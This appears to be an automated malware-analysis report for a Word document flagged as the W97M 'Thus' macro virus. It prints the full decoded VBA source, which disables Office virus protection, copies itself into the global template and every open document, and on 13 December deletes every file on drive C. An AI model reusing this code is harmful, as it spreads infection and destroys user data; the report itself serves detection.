Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b45df241a46f6c7a…

MALICIOUS

Office (OLE)

92.0 KB Created: 2005-09-28 05:45:00 Authoring application: Microsoft Word 10.1 First seen: 2016-02-21
MD5: 24570e2fa857b2bd7761c534eee547ee SHA-1: 1c195109acc731cb0b8bcf4bc3c3bd7275c9412c SHA-256: b45df241a46f6c7ada0b23de64fc1762b924c6ccb7e98bb721aeff1987c47486
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1553.005 Security Software Installation

The sample contains VBA macros that attempt to disable virus protection and replicate themselves across documents. The Document_Open macro is designed to execute upon opening the file, and the heuristic firings indicate self-replication and AV tampering. This behavior suggests a malicious document designed to spread and evade security measures.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-8
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        On Error Resume Next
        Application.Options.VirusProtection = False
        If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub Document_Open()
    'Thus_001'

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2342 bytes
SHA-256: 0b87df89b52adefdc12f74f070b7d84e29b3551a24df0f14f3d8937c3e6bc0af
Detection
ClamAV: Doc.Trojan.Thus-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For i = 1 To .FoundFiles.Count
        Kill .FoundFiles(i)
        Next i
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub